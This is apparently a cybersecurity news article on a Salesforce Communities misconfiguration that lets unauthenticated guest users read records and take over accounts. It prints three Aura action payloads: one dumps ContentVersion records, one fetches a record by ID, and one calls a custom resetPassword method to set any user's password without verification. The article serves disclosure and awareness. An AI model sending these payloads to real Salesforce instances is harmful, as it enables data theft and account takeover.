A critical vulnerability has been discovered in Salesforce applications that could potentially allow a full account takeover.
The vulnerability, uncovered during a penetration testing exercise, hinges on misconfigurations within Salesforce Communities, particularly exploiting the Salesforce Lightning component framework.
The implications of this vulnerability are severe, affecting both data security and privacy. Attackers could gain access to sensitive personal information, manipulate data, and even take over administrative accounts.
Such breaches can lead to data theft, identity fraud, and significant financial and reputational damage to organizations using Salesforce.
The vulnerability primarily exploits Salesforce’s handling of unauthenticated users, known as Guest Users, within Communities.
Normally, Guest Users are heavily restricted in terms of what data they can access and what actions they can perform. However, in some cases, configurations and custom components expose sensitive information or functionality.
Leveraging 2024 MITRE ATT&CK Results for SME & MSP Cybersecurity Leaders – Attend Free Webinar
Key Points of Exploitation:
aura.token
and aura.context
values, they can start extracting data and interact with various classes.getItems
: Retrieves records of a given object but can bypass permissions if misconfigured. Example payload:{
"actions": [
{
"id": "123;a",
"descriptor": "serviceComponent://ui.force.components.controllers.lists.selectableListDataProvider.SelectableListDataProviderController/ACTION$getItems",
"callingDescriptor": "UNKNOWN",
"params": {
"entityNameOrId": "ContentVersion",
"layoutType": "FULL",
"pageSize": 100,
"currentPage": 0,
"useTimeout": false,
"getCount": false,
"enableRowActions": false
}
}
]
}
getRecord
: Retrieves specific records using a record ID.{
"actions": [
{
"id": "123;a",
"descriptor": "serviceComponent://ui.force.components.controllers.detail.DetailController/ACTION$getRecord",
"callingDescriptor": "UNKNOWN",
"params": {
"recordId": "0099g000001mWQaYHU",
"record": null,
"mode": "VIEW"
}
}
]
}
CA_ChangePasswordSettingController
exposes a method resetPassword
, which only requires a userID
and a newPassword
, allowing attackers to reset passwords without further verification.{
"actions": [
{
"id": "123;a",
"descriptor": "apex://CA_ChangePasswordSettingController/ACTION$resetPassword",
"callingDescriptor": "UNKNOWN",
"params": {
"userID": "0056M",
"newPassword": "RT-wofnwo2!$4nfi!"
}
}
]
}
The ramifications of such a vulnerability are severe. Unauthorized access to sensitive data, identity theft, data manipulation, and full account takeovers are all possible outcomes.
In a worst-case scenario, an attacker could gain access to high-privilege accounts, resulting in the compromise of the entire Salesforce instance.
0xbro’s discovery underscores the importance of robust security practices in managing cloud-based applications.
As organizations increasingly rely on platforms like Salesforce for critical business operations, ensuring comprehensive security measures is paramount.
Adopting a proactive approach to securing applications can help mitigate risks and protect sensitive data from malicious actors.
Analyse Advanced Malware & Phishing Analysis With ANY.RUN Black Friday Deals : Get up to 3 Free Licenses.
A duo of cybersecurity researchers uncovered a critical vulnerability in a software supply chain, landing…
Microsoft Threat Intelligence has exposed a novel cyberattack method employed by the North Korean state-sponsored…
Microsoft has confirmed the discovery of a significant zero-day vulnerability, tracked as CVE-2025-21418, in the Windows…
A critical vulnerability in Fortinet's FortiOS and FortiProxy products has been identified, enabling attackers to…
Fortinet’s FortiOS, the operating system powering its VPN and firewall appliances, has been found vulnerable…
A newly discovered 0-day vulnerability in Windows Storage has sent shockwaves through the cybersecurity community.…